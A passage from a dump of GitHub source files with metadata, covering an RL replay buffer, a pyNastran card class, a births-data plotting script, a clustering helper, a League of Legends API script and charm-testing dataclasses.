t.Tensor\n reward: Optional[t.Tensor]\n done: t.Tensor\n next_state: Optional[Union[t.Tensor, Dict[str, t.Tensor]]] = None\n info: Optional[Dict[str, t.Tensor]] = None\n\n\ndef batch_to_device(batch: Batch, device: t.device):\n return Batch(\n state=batch.state.to(device),\n action=batch.action.to(device) if batch.action is not None else None,\n reward=batch.reward.to(device) if batch.reward is not None else None,\n done=batch.done.to(device),\n next_state=batch.next_state.to(device) if batch.next_state is not None else None,\n info={\n key: value.to(device) for key, value in batch.info.items()\n } if batch.info is not None else None\n )\n\n\nclass ReplayBuffer:\n\n def __init__(\n self,\n ep_num,\n ep_len,\n state_shapes: Dict[str, tuple],\n action_len,\n load_dir: Optional[str] = None,\n save_dir: Optional[str] = None,\n save_episode_suffix: str = '',\n ):\n self._ep_num = ep_num\n self._ep_len = ep_len\n self._state_shapes = state_shapes\n self._action_len = action_len\n self._save_dir = save_dir\n if self._save_dir:\n os.makedirs(save_dir, exist_ok=True)\n self._save_episode_suffix = save_episode_suffix\n\n self._states = {}\n for mod_name, mod_shape in self._state_shapes.items():\n self._states[mod_name] = t.zeros(\n (self._ep_num, self._ep_len + 1) + tuple(mod_shape),\n dtype=t.float32,\n )\n self._actions = t.zeros((self._ep_num, self._ep_len, self._action_len), dtype=t.float32)\n self._rewards = t.zeros((self._ep_num, self._ep_len, 1), dtype=t.float32)\n self._ep_sizes = t.zeros((self._ep_num, 1), dtype=t.int32)\n self._ends_with_done = t.zeros((self._ep_num, 1), dtype=t.int32)\n self._ep_ind = 0\n self._ep_stored = 0\n self._ep_pushed = 0\n self._tr_pushed = 0\n\n @property\n def transitions_pushed(self):\n return self._tr_pushed\n\n @property\n def eps_pushed(self) -> int:\n return self._ep_pushed\n\n def append_episode(self, episode: Episode, add_last_obs: bool = False):\n start_ind = self._ep_sizes[self._ep_ind][0]\n end_ind = start_ind + episode.size\n obs_end_ind = end_ind + (1 if add_last_obs else 0)\n for mod_name, mod_value in episode.states.items():\n self._states[mod_name][self._ep_ind, start_ind:obs_end_ind] = mod_value if add_last_obs else mod_value[:-1]\n self._actions[self._ep_ind, start_ind:end_ind] = episode.actions\n self._rewards[self._ep_ind, start_ind:end_ind] = episode.rewards\n self._ep_sizes[self._ep_ind][0] += episode.size\n self._ends_with_done[self._ep_ind][0] = episode.done\n\n def end_episode(self):\n\n if self._save_dir:\n ep = self.get_episode(self._ep_ind)\n self._save_episode(ep.copy(), self._ep_ind)\n\n self._tr_pushed += self._ep_sizes[self._ep_ind][0]\n self._ep_pushed += 1\n self._ep_stored += 1\n self._ep_stored = min(self._ep_num, self._ep_stored)\n self._ep_ind += 1\n self._ep_ind %= self._ep_num\n\n self.clean_last_episode()\n\n def clean_last_episode(self):\n self._ep_sizes[self._ep_ind][0] = 0\n self._ends_with_done[self._ep_ind][0] = 0\n\n def push_episode(self, episode: Episode):\n self.append_episode(episode, add_last_obs=True)\n self.end_episode()\n\n def _save_episode(self, ep: Episode, ep_ind: int):\n fpath = f'ep_{self._save_episode_suffix}_{ep_ind}.pkl'\n with open(os.path.join(self._save_dir, fpath), 'wb') as f:\n pickle.dump(ep, f)\n\n def sample_batch(self, batch_size) -> Batch:\n if self._ep_stored == 0:\n raise RuntimeError(f'Stored episodes: {self._ep_stored} should be greater than zero')\n ep_inds = np.random.randint(0, self._ep_stored, size=batch_size)\n transition_inds = np.random.randint(0, self._ep_len, size=batch_size)\n ep_sizes = self._ep_sizes[ep_inds, 0]\n transition_inds = np.mod(transition_inds, ep_sizes) # ep size is number of taken actions\n state = {mod_name: mod_value[ep_inds, transition_inds] for mod_name, mod_value in self._states.items()}\n next_state = {mod_name: mod_value[ep_inds, transition_inds + 1] for mod_name, mod_value in self._states.items()}\n return Batch(\n state=state,\n action=self._actions[ep_inds, transition_inds],\n reward=self._rewards[ep_inds, transition_inds],\n next_state=next_state,\n done=t.as_tensor(transition_inds == ep_sizes - 1, dtype=t.float32).unsqueeze(-1) * self._ends_with_done[ep_inds],\n )\n\n def sample_seq_batch(self, batch_size, seq_len) -> Batch:\n ep_inds = np.random.randint(0, self._ep_stored, size=batch_size)\n transition_inds = np.random.randint(0, self._ep_sizes[ep_inds, 0] - seq_len, size=batch_size)\n transition_ranges = [range(ind, ind + seq_len) for ind in transition_inds]\n ep_inds_to_broadcast = t.as_tensor(ep_inds).unsqueeze(-1)\n info = {}\n state = {mod_name: mod_value[ep_inds_to_broadcast, transition_ranges] for mod_name, mod_value in self._states.items()}\n return Batch(\n state=state,\n action=self._actions[ep_inds_to_broadcast, transition_ranges],\n reward=self._rewards[ep_inds_to_broadcast, transition_ranges],\n info=info\n )\n\n def sample_episode(self):\n ep_ind = np.random.randint(0, self._ep_stored, size=1)[0]\n return self.get_episode(ep_ind)\n\n def get_episode(self, ep_ind):\n size = self._ep_sizes[ep_ind][0]\n return Episode(\n states={mod: val[ep_ind, :size + 1] for mod, val in self._states.items()},\n actions=self._actions[ep_ind, :size],\n rewards=self._rewards[ep_ind, :size],\n size=size,\n done=self._ends_with_done[ep_ind][0],\n )\n\n def get_last_episode(self):\n return self.get_episode((self._ep_ind - 1) % self._ep_num)\n\n\ndef save_buffer_episodes_to_dir(buf: ReplayBuffer, dir_path: str):\n os.makedirs(dir_path, exist_ok=True)\n for ep_ind in range(buf.eps_pushed):\n ep = buf.get_episode(ep_ind)\n with open(os.path.join(dir_path, f'ep_{ep_ind}.pkl'), 'wb') as f:\n pickle.dump(ep, f)\n\n\ndef load_buffer_episodes_from_dir(buf: ReplayBuffer, dir_path: str):\n # for ind, path in enumerate(glob.glob(os.path.join(dir_path, '**', 'ep_*.pkl'))):\n for ind, path in enumerate(Path(dir_path).rglob(\"ep_*.pkl\")):\n if ind % 100 == 0:\n print(f'loading {ind}')\n with open(path, 'rb') as f:\n try:\n buf.push_episode(pickle.load(f))\n except pickle.UnpicklingError:\n print(f'--- UnpicklingError: skipping {path}')\n","repo_name":"parilo/rlblocks","sub_path":"rlblocks/data/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":8278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"71293515265","text":"total = 0\ncount = 0\n\nwhile True:\n input_value = input(\"Ingresa un número: \")\n\n if input_value == \"hecho\":\n break # Salir del bucle si se ingresa \"hecho\"\n\n try:\n number = float(input_value)\n total += number\n count += 1\n except ValueError:\n print(\"Entrada inválida\")\n\nif count > 0:\n average = total / count\n print(total, count, average)\nelse:\n print(\"No se ingresaron números válidos.\")\n","repo_name":"KingGhidorah01/Propedeutico-MIS","sub_path":"Ejercicios Segunda semana/tarea2.py","file_name":"tarea2.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"19199259453","text":"from six.moves import StringIO\n#from itertools import count\n\n#from numpy import array\n\nfrom pyNastran.bdf.field_writer_8 import print_card_8\nfrom pyNastran.bdf.field_writer_16 import print_card_16\nfrom pyNastran.bdf.cards.base_card import expand_thru\nfrom pyNastran.bdf.dev_vectorized.bdf_interface.assign_type import integer\n\ndef get_spcadd_constraint(card):\n constraint_id = integer(card, 1, 'constraint_id')\n\n node_ids = card.fields(2)\n node_ids = expand_thru(node_ids)\n\n assert isinstance(constraint_id, int), constraint_id\n return constraint_id, node_ids\n\n\nclass SPCADD(object):\n \"\"\"\n ::\n\n SPCADD SID S1 S2 S3 S4 S5 S6\n S7 S8 S9 -etc.-\n\n SPCADD SID S1 S2 S2\n SPCADD 313 1 2 3\n \"\"\"\n type = 'SPCADD'\n def __init__(self, model):\n self.model = model\n self.spc_id = None\n self.spc_ids = []\n\n def add(self, spc_id, spc_ids, comment):\n #if comment:\n #self._comment = comment\n assert isinstance(spc_id, int), spc_id\n self.spc_id = spc_id\n self.spc_ids += spc_ids\n\n def build(self):\n self.spc_ids.sort()\n\n def write_card(self, f, size=8):\n card = ['SPCADD', self.spc_id] + self.spc_ids\n #print \"card = \", card\n if size == 8:\n f.write(print_card_8(card))\n else:\n f.write(print_card_16(card))\n\n def __repr__(self):\n f = StringIO()\n self.write_card(f)\n return f.getvalue().rstrip()\n","repo_name":"EmanueleCannizzaro/pynastran2","sub_path":"pynastran2/bdf/dev_vectorized/cards/constraints/spcadd.py","file_name":"spcadd.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"25"} +{"seq_id":"27965665474","text":"import json\nimport csv\nfrom pprint import pprint\nimport pandas as pd\nimport math\nimport numpy as np; np.random.seed(0)\nimport matplotlib.pyplot as plt\nimport os\nfrom math import log as ln\nimport plotly\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\n#gets the distribution of births (by month) for a particular year and plots it\ndef get_year_distribution(datafile, year):\n\tyear = str(year)\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\t\tdata_year = data[year]\n\n\t\tif plot:\n\t\t\tbirths = {month:0 for month in data_year}\n\t\t\tfor month in data_year:\n\t\t\t\tmonth_births = 0\n\t\t\t\tmonth_data = data_year[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\tmonth_births += month_data[date]['births']\n\t\t\t\tbirths[month] = month_births\n\t\t\t\n\t\t\tbirths = {int(month): births[month]/100000 for month in births}\n\t\t\tlists = sorted(births.items()) # sorted by key, return a list of tuples\n\t\t\tx, y = zip(*lists) # unpack a list of pairs into two tuples\n\t\t\tplt.plot(x, y,marker='o')\n\t\t\tplt.xlabel('Year')\n\t\t\tplt.ylabel('Births in hundred thousand')\n\t\t\tplt.title('Monthly births in the year ' + str(year))\n\t\t\tplt.ylim([2.5,4])\n\t\t\tplt.show()\n\n\t\treturn data_year\t\t\t\n\ndef get_yearly_births(datafile, plot=False):\n\tbirths = {str(i):0 for i in range(1994, 2015)}\n\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\t\t\n\t\tfor year in data:\n\t\t\tyear_births = 0\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor day in month_data:\n\t\t\t\t\tyear_births += int(month_data[day]['births'])\n\n\t\t\tbirths[year] = year_births\n\n\tif plot:\n\t\tsum = 1000000\n\t\tbirths = {year:births[year]/sum for year in births}\n\n\t\tlists = sorted(births.items()) # sorted by key, return a list of tuples\n\t\tx, y = zip(*lists) # unpack a list of pairs into two tuples\n\t\tplt.plot(x, y,marker='o')\n\t\tplt.xlabel('Year')\n\t\tplt.ylabel('Births in million')\n\t\tplt.title('Yearly births in USA')\n\t\tplt.ylim([3.1,5])\n\t\tplt.show()\n\t\n\treturn births\n\ndef get_combined_monthly_births(datafile):\n\tbirths = {str(i):0 for i in range(1, 13)}\n\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\n\t\tfor year in data:\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_births = 0\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\tmonth_births += month_data[date]['births']\n\t\t\t\tbirths[month] += month_births\n\n\tbirths = {int(month): births[month]/1000000 for month in births}\n\tlists = sorted(births.items()) # sorted by key, return a list of tuples\n\tx, y = zip(*lists) # unpack a list of pairs into two tuples\n\tplt.plot(x, y,marker='o')\n\tplt.xlabel('Month')\n\tplt.ylabel('Births in million')\n\tplt.title('Total births in a month across 1994-2014')\n\tplt.ylim([6,8])\n\tplt.show()\n\ndef get_combined_day_births(datafile):\n\tbirths = {i:0 for i in range(1, 367)}\n\tbirths = {month:{} for month in range(1, 13)}\n\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\n\t\tfor year in data:\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\tif int(date) not in births[int(month)]:\n\t\t\t\t\t\tbirths[int(month)][int(date)] = 0\n\t\t\t\t\tbirths[int(month)][int(date)] += month_data[date]['births']\n\tpprint(births)\n\n\tmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n\tdate_list = [x for x in range(1, 32)]\n\n\tz = []\n\ti = 0\n\n\trank_list = []\n\n\tfor month in births:\n\t\ti += 1\n\t\tmonth_data = births[i]\n\t\tnew_row = []\n\t\tfor date in date_list:\n\t\t\tif date in month_data:\n\t\t\t\tnew_row.append(month_data[date])\n\t\t\t\trank_list.append(month_data[date])\n\t\t\telse:\n\t\t\t\tnew_row.append(0)\n\t\t\t\trank_list.append(0)\n\t\tz.append(new_row)\n\n\t#z[1][28] *= 4\n\trank_list.sort()\n\trank_list = rank_list[::-1]\n\n\thovertext = list()\n\tpprint(months)\n\tpprint(date_list)\n\tfor month in months:\n\t\thovertext.append(list())\n\t\tmonth_data = z[months.index(month)]\n\t\tfor date_val in date_list:\n\t\t\tbirth_count = month_data[int(date_val) - 1]\n\t\t\tpprint(month)\n\t\t\tpprint(date_val)\n\t\t\tpprint(birth_count)\n\t\t\tto_append = 'Month: ' + str(month) + '
Date: ' + str(date_val) + '
Births: ' + str(birth_count) + '
Rank: ' + str(rank_list.index(birth_count) + 1)\n\t\t\thovertext[-1].append(to_append)\n\n\tdata = [\n\tgo.Heatmap(\n\t\tz=z,\n\t\tx=date_list,\n\t\ty=months,\n\t\tcolorscale='Jet',\n\t\thoverinfo='text',\n\t\ttext=hovertext\n\t\t)\n\t]\n\n\tlayout = go.Layout(\n\t\ttitle='Births per date from 1994-2014',\n\t\txaxis = dict(ticks='', nticks=31),\n\t\tyaxis = dict(ticks='' )\n\t)\n\n\tfig = go.Figure(data=data, layout=layout)\n\tplotly.offline.plot(fig, filename='datetime-heatmap')\n\n\t# sums = []\n\t# sums = [sum(z_sub) for z_sub in z]\n\t# pprint(sums)\n\ndef get_day_distribution(datafile):\n\tdays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n\tbirths = {i : 0 for i in range(1, 8)}\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\n\t\tfor year in data:\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_births = 0\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\tday = month_data[date]['day']\n\t\t\t\t\tbirths[int(day)] += month_data[date]['births']\n\t\t\n\t\tbirths = {days[i - 1] : births[i] for i in range(1, 8)}\n\n\t\ttotal = 1000000\n\t\tbirths = {day:(births[day]/total) for day in births}\n\n\t\tplt.xlabel('Day')\n\t\tplt.ylabel('Number of births (in millions)')\n\t\tplt.title('Number of births by day in USA from 1994-2014')\n\t\tplt.bar(list(births.keys()), births.values())\n\t\tplt.show()\n\ndef friday_thirteen_special(datafile, val1 = 6, val2 = 20):\n\tdays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n\t#store info about births on date val1. Each key is the day that the 13th was\n\tprev = {i : 0 for i in range(1, 8)}\n\t#info about 13th\n\tthirteenth = {i : 0 for i in range(1, 8)}\n\t#info about date val2\n\tnext_ = {i : 0 for i in range(1, 8)}\n\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\n\t\tfor year in data:\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\t#only considering the 13th of every month\n\t\t\t\t\tday = month_data['13']['day']\n\t\t\t\t\tif int(date) == val1 or int(date) == 13 or int(date) == val2:\n\t\t\t\t\t\tdate_data = month_data[date]\n\t\t\t\t\t\tbirths = month_data[date]['births']\n\t\t\t\t\t\tif int(date) == val1:\n\t\t\t\t\t\t\tprev[int(day)] += births\n\t\t\t\t\t\telif int(date) == 13:\n\t\t\t\t\t\t\tthirteenth[int(day)] += births\n\t\t\t\t\t\telif int(date) == val2:\n\t\t\t\t\t\t\tnext_[int(day)] += births\n\n\tavgs = [((prev[i] + next_[i])//2) - thirteenth[i] for i in range(1, 8)]\n\tavgs_dict = {days[i]:-avgs[i]/1000 for i in range(0, 7)}\n\tpprint(avgs_dict)\n\tplt.ylabel('Difference (in thousands)')\n\tplt.title('Difference in the number of births on 13th and average number of births on 6th and 20th across all months')\n\tplt.xlabel('Day')\n\tplt.bar(list(avgs_dict.keys()), avgs_dict.values())\n\tplt.ylim([-30,0])\n\tplt.show()\n\ndef compare_fridays(datafile):\n\tbirths = {i : 0 for i in range(1, 32)}\n\tcounts = {i : 0 for i in range(1, 32)}\n\n\twith open(datafile) as f:\n\t\tdata = json.load(f)\n\n\t\tfor year in data:\n\t\t\tyear_data = data[year]\n\t\t\tfor month in year_data:\n\t\t\t\tmonth_data = year_data[month]\n\t\t\t\tfor date in month_data:\n\t\t\t\t\tday = month_data[date]['day']\n\t\t\t\t\tif day == 5:\n\t\t\t\t\t\tnum_births = month_data[date]['births']\n\t\t\t\t\t\tbirths[int(date)] += num_births\n\t\t\t\t\t\tcounts[int(date)] += 1\n\n\tpprint(births)\n\tpprint(counts)\n\n\tavgs_dict = {i : (births[i]/counts[i]) for i in range(1, 32)}\n\tmean = sum(avgs_dict.values())/len(avgs_dict)\n\tavgs_dict = {i : avgs_dict[i] - mean for i in range(1, 32)}\n\tpprint(avgs_dict)\n\tplt.ylabel('Number of births')\n\tplt.title('Comparison of mean number of births on Fridays of each date to the global mean of Friday births')\n\tplt.xlabel('Date')\n\tplt.bar(list(avgs_dict.keys()), avgs_dict.values())\n\tplt.ylim([-800,800])\n\tplt.show()\n\nval1 = 6\nval2 = 20\n\nplot = True\ndata_dir = '../data/'\ndatafile = data_dir + 'data.json'\n# year_births = get_yearly_births(datafile, plot=plot)\n# pprint(year_births)\n#get_yearly_births(datafile, plot)\n#get_year_distribution(datafile, 2009)\n#get_combined_day_births(datafile)\n#friday_thirteen_special(datafile, val1, val2)\ncompare_fridays(datafile)","repo_name":"vgoel30/births_analysis","sub_path":"scripts/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"1330700422","text":"import numpy as np\nfrom sklearn.cluster import KMeans\n# from sklearn.cluster import DBSCAN\n\n\ndef cluster(samples, Nc):\n Nps = samples.shape[0]\n Ns = samples.shape[1]\n samples = samples.reshape((Nps * Ns, 8))\n points = np.empty((Nps * Ns, 4))\n points[:, 0] = (1 - samples[:, 1]**2)**0.5 * np.cos(samples[:, 0])\n points[:, 1] = (1 - samples[:, 1]**2)**0.5 * np.sin(samples[:, 0])\n points[:, 2] = samples[:, 1]\n points[:, 3] = samples[:, 6] * 10 # omega\n\n clustering = KMeans(n_clusters=Nc, random_state=0).fit(points)\n # clustering = DBSCAN(eps=0.1, min_samples=Nc).fit(samples)\n labels = clustering.labels_\n\n return labels.reshape((Nps, Ns))\n","repo_name":"yuyang1995/TRAINS","sub_path":"analysis/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"3005085448","text":"from asyncio import queues\nimport cassiopeia as cass\nimport roleml\nfrom datetime import timedelta\nimport json\n\ndef getAPI_key():\n f = open(\"api_key.txt\", \"r\")\n return f.read()\n\ncass.set_riot_api_key(getAPI_key())\n\ndef get_champ_played(Summoner):\n\n roles= []\n champID= []\n playedChampion = []\n\n SummonerName = cass.get_summoner(name = Summoner, region = \"NA\")\n # print(SummonerName)\n i = 0\n while i < 5:\n match_history = SummonerName.match_history[i]\n champion = match_history.participants[Summoner].champion.id\n champ= champList[str(champion)]\n champID.append(champion)\n playedChampion.append(champ)\n i = i + 1\n \n #print(\"Champs: \", champ)\n return champ\n\n\ndef get_team(Summoner):\n\n team = []\n i = 0\n SummonerName = cass.get_summoner(name = Summoner, region = \"NA\")\n match_history = SummonerName.match_history[i]\n # team.append(match_history.blue_team)\n # print(team)\n print(match_history.TeamData)\n \n\n\nwith open('championFull.json', 'r', encoding=\"utf8\") as champList_file:\n champList = json.load(champList_file)\n champList= champList['keys']\n champList_file.close()\n#print(champList)\n\nSummonerName = \"Snippzzz\"\nget_champ_played(SummonerName)\n#get_team(SummonerName)\n","repo_name":"SakibAmin/LeagueOfLegends","sub_path":"cass/champ_played.py","file_name":"champ_played.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"29490096548","text":"import copy\nimport dataclasses\nimport datetime\nimport inspect\nimport re\nimport typing\nfrom pathlib import Path, PurePosixPath\nfrom typing import Any, Callable, Dict, List, Literal, Optional, Set, Tuple, Type, Union\nfrom uuid import uuid4\n\nimport yaml\nfrom ops import pebble\nfrom ops.model import SecretRotate\n\nfrom scenario.logger import logger as scenario_logger\nfrom scenario.mocking import _MockFileSystem, _MockStorageMount\nfrom scenario.runtime import trigger\n\nif typing.TYPE_CHECKING:\n try:\n from typing import Self\n except ImportError:\n from typing_extensions import Self\n from ops.testing import CharmType\n\nlogger = scenario_logger.getChild(\"structs\")\n\nATTACH_ALL_STORAGES = \"ATTACH_ALL_STORAGES\"\nCREATE_ALL_RELATIONS = \"CREATE_ALL_RELATIONS\"\nBREAK_ALL_RELATIONS = \"BREAK_ALL_RELATIONS\"\nDETACH_ALL_STORAGES = \"DETACH_ALL_STORAGES\"\nRELATION_EVENTS_SUFFIX = {\n \"-relation-changed\",\n \"-relation-broken\",\n \"-relation-joined\",\n \"-relation-departed\",\n \"-relation-created\",\n}\nMETA_EVENTS = {\n \"CREATE_ALL_RELATIONS\": \"-relation-created\",\n \"BREAK_ALL_RELATIONS\": \"-relation-broken\",\n \"DETACH_ALL_STORAGES\": \"-storage-detaching\",\n \"ATTACH_ALL_STORAGES\": \"-storage-attached\",\n}\n\n\n@dataclasses.dataclass\nclass _DCBase:\n def replace(self, *args, **kwargs):\n return dataclasses.replace(self, *args, **kwargs)\n\n def copy(self) -> \"Self\":\n return copy.deepcopy(self)\n\n\n@dataclasses.dataclass\nclass Secret(_DCBase):\n id: str\n\n # mapping from revision IDs to each revision's contents\n contents: Dict[int, Dict[str, str]]\n\n # indicates if the secret is owned by THIS unit, THIS app or some other app/unit.\n owner: Literal[\"unit\", \"application\", None] = None\n\n # has this secret been granted to this unit/app or neither? Only applicable if NOT owner\n granted: Literal[\"unit\", \"app\", False] = False\n\n # what revision is currently tracked by this charm. Only meaningful if owner=False\n revision: int = 0\n\n # mapping from relation IDs to remote unit/apps to which this secret has been granted.\n # Only applicable if owner\n remote_grants: Dict[int, Set[str]] = dataclasses.field(default_factory=dict)\n\n label: Optional[str] = None\n description: Optional[str] = None\n expire: Optional[datetime.datetime] = None\n rotate: SecretRotate = SecretRotate.NEVER\n\n # consumer-only events\n @property\n def changed_event(self):\n \"\"\"Sugar to generate a secret-changed event.\"\"\"\n if self.owner:\n raise ValueError(\n \"This unit will never receive secret-changed for a secret it owns.\"\n )\n return Event(name=\"secret-changed\", secret=self)\n\n # owner-only events\n @property\n def rotate_event(self):\n \"\"\"Sugar to generate a secret-rotate event.\"\"\"\n if not self.owner:\n raise ValueError(\n \"This unit will never receive secret-rotate for a secret it does not own.\"\n )\n return Event(name=\"secret-rotate\", secret=self)\n\n @property\n def expired_event(self):\n \"\"\"Sugar to generate a secret-expired event.\"\"\"\n if not self.owner:\n raise ValueError(\n \"This unit will never receive secret-expire for a secret it does not own.\"\n )\n return Event(name=\"secret-expire\", secret=self)\n\n @property\n def remove_event(self):\n \"\"\"Sugar to generate a secret-remove event.\"\"\"\n if not self.owner:\n raise ValueError(\n \"This unit will never receive secret-removed for a secret it does not own.\"\n )\n return Event(name=\"secret-removed\", secret=self)\n\n\n_RELATION_IDS_CTR = 0\n\n\n@dataclasses.dataclass\nclass Relation(_DCBase):\n endpoint: str\n remote_app_name: str = \"remote\"\n remote_unit_ids: List[int] = dataclasses.field(default_factory=list)\n\n # local limit\n limit: int = 1\n\n # scale of the remote application; number of units, leader ID?\n # TODO figure out if this is relevant\n scale: int = 1\n leader_id: int = 0\n\n # we can derive this from the charm's metadata\n interface: str = None\n\n # Every new Relation instance gets a new one, if there's trouble, override.\n relation_id: int = -1\n\n local_app_data: Dict[str, str] = dataclasses.field(default_factory=dict)\n remote_app_data: Dict[str, str] = dataclasses.field(default_factory=dict)\n local_unit_data: Dict[str, str] = dataclasses.field(default_factory=dict)\n remote_units_data: Dict[int, Dict[str, str]] = dataclasses.field(\n default_factory=dict\n )\n\n def __post_init__(self):\n global _RELATION_IDS_CTR\n if self.relation_id == -1:\n _RELATION_IDS_CTR += 1\n self.relation_id = _RELATION_IDS_CTR\n\n if self.remote_unit_ids and self.remote_units_data:\n if not set(self.remote_unit_ids) == set(self.remote_units_data):\n raise ValueError(\n f\"{self.remote_unit_ids} should include any and all IDs from {self.remote_units_data}\"\n )\n elif self.remote_unit_ids:\n self.remote_units_data = {x: {} for x in self.remote_unit_ids}\n elif self.remote_units_data:\n self.remote_unit_ids = [x for x in self.remote_units_data]\n else:\n self.remote_unit_ids = [0]\n self.remote_units_data = {0: {}}\n\n @property\n def changed_event(self):\n \"\"\"Sugar to generate a -relation-changed event.\"\"\"\n return Event(name=self.endpoint + \"_relation_changed\", relation=self)\n\n @property\n def joined_event(self):\n \"\"\"Sugar to generate a -relation-joined event.\"\"\"\n return Event(name=self.endpoint + \"_relation_joined\", relation=self)\n\n @property\n def created_event(self):\n \"\"\"Sugar to generate a -relation-created event.\"\"\"\n return Event(name=self.endpoint + \"_relation_created\", relation=self)\n\n @property\n def departed_event(self):\n \"\"\"Sugar to generate a -relation-departed event.\"\"\"\n return Event(name=self.endpoint + \"_relation_departed\", relation=self)\n\n @property\n def broken_event(self):\n \"\"\"Sugar to generate a -relation-broken event.\"\"\"\n return Event(name=self.endpoint + \"_relation_broken\", relation=self)\n\n\ndef _random_model_name():\n import random\n import string\n\n space = string.ascii_letters + string.digits\n return \"\".join(random.choice(space) for _ in range(20))\n\n\n@dataclasses.dataclass\nclass Model(_DCBase):\n name: str = _random_model_name()\n uuid: str = str(uuid4())\n\n\n# for now, proc mock allows you to map one command to one mocked output.\n# todo extend: one input -> multiple outputs, at different times\n\n\n_CHANGE_IDS = 0\n\n\n@dataclasses.dataclass\nclass ExecOutput:\n return_code: int = 0\n stdout: str = \"\"\n stderr: str = \"\"\n\n # change ID: used internally to keep track of mocked processes\n _change_id: int = -1\n\n def _run(self) -> int:\n global _CHANGE_IDS\n _CHANGE_IDS = self._change_id = _CHANGE_IDS + 1\n return _CHANGE_IDS\n\n\n_ExecMock = Dict[Tuple[str, ...], ExecOutput]\n\n\n@dataclasses.dataclass\nclass Mount(_DCBase):\n location: Union[str, PurePosixPath]\n src: Union[str, Path]\n\n def __post_init__(self):\n self.src = Path(self.src)\n\n\n@dataclasses.dataclass\nclass Container(_DCBase):\n name: str\n can_connect: bool = False\n layers: Dict[str, pebble.Layer] = dataclasses.field(default_factory=dict)\n service_status: Dict[str, pebble.ServiceStatus] = dataclasses.field(\n default_factory=dict\n )\n\n # this is how you specify the contents of the filesystem: suppose you want to express that your\n # container has:\n # - /home/foo/bar.py\n # - /bin/bash\n # - /bin/baz\n #\n # this becomes:\n # mounts = {\n # 'foo': Mount('/home/foo/', Path('/path/to/local/dir/containing/bar/py/'))\n # 'bin': Mount('/bin/', Path('/path/to/local/dir/containing/bash/and/baz/'))\n # }\n # when the charm runs `pebble.pull`, it will return .open() from one of those paths.\n # when the charm pushes, it will either overwrite one of those paths (careful!) or it will\n # create a tempfile and insert its path in the mock filesystem tree\n mounts: Dict[str, Mount] = dataclasses.field(default_factory=dict)\n\n exec_mock: _ExecMock = dataclasses.field(default_factory=dict)\n\n @property\n def filesystem(self) -> _MockFileSystem:\n mounts = {\n name: _MockStorageMount(src=spec.src, location=spec.location)\n for name, spec in self.mounts.items()\n }\n return _MockFileSystem(mounts=mounts)\n\n @property\n def pebble_ready_event(self):\n \"\"\"Sugar to generate a -pebble-ready event.\"\"\"\n if not self.can_connect:\n logger.warning(\n \"you **can** fire pebble-ready while the container cannot connect, \"\n \"but that's most likely not what you want.\"\n )\n return Event(name=self.name + \"_pebble_ready\", container=self)\n\n\n@dataclasses.dataclass\nclass Address(_DCBase):\n hostname: str\n value: str\n cidr: str\n\n\n@dataclasses.dataclass\nclass BindAddress(_DCBase):\n mac_address: str\n interface_name: str\n interfacename: str # noqa legacy\n addresses: List[Address]\n\n def hook_tool_output_fmt(self):\n # dumps itself to dict in the same format the hook tool would\n return {\n \"bind-addresses\": self.mac_address,\n \"interface-name\": self.interface_name,\n \"interfacename\": self.interfacename,\n \"addresses\": [dataclasses.asdict(addr) for addr in self.addresses],\n }\n\n\n@dataclasses.dataclass\nclass Network(_DCBase):\n name: str\n bind_id: int\n\n bind_addresses: List[BindAddress]\n bind_address: str\n egress_subnets: List[str]\n ingress_addresses: List[str]\n\n is_default: bool = False\n\n def hook_tool_output_fmt(self):\n # dumps itself to dict in the same format the hook tool would\n return {\n \"bind-addresses\": [ba.hook_tool_output_fmt() for ba in self.bind_addresses],\n \"bind-address\": self.bind_address,\n \"egress-subnets\": self.egress_subnets,\n \"ingress-addresses\": self.ingress_addresses,\n }\n\n @classmethod\n def default(\n cls,\n name,\n bind_id,\n private_address: str = \"1.1.1.1\",\n mac_address: str = \"\",\n hostname: str = \"\",\n cidr: str = \"\",\n interface_name: str = \"\",\n egress_subnets=(\"1.1.1.2/32\",),\n ingress_addresses=(\"1.1.1.2\",),\n ) -> \"Network\":\n \"\"\"Helper to create a 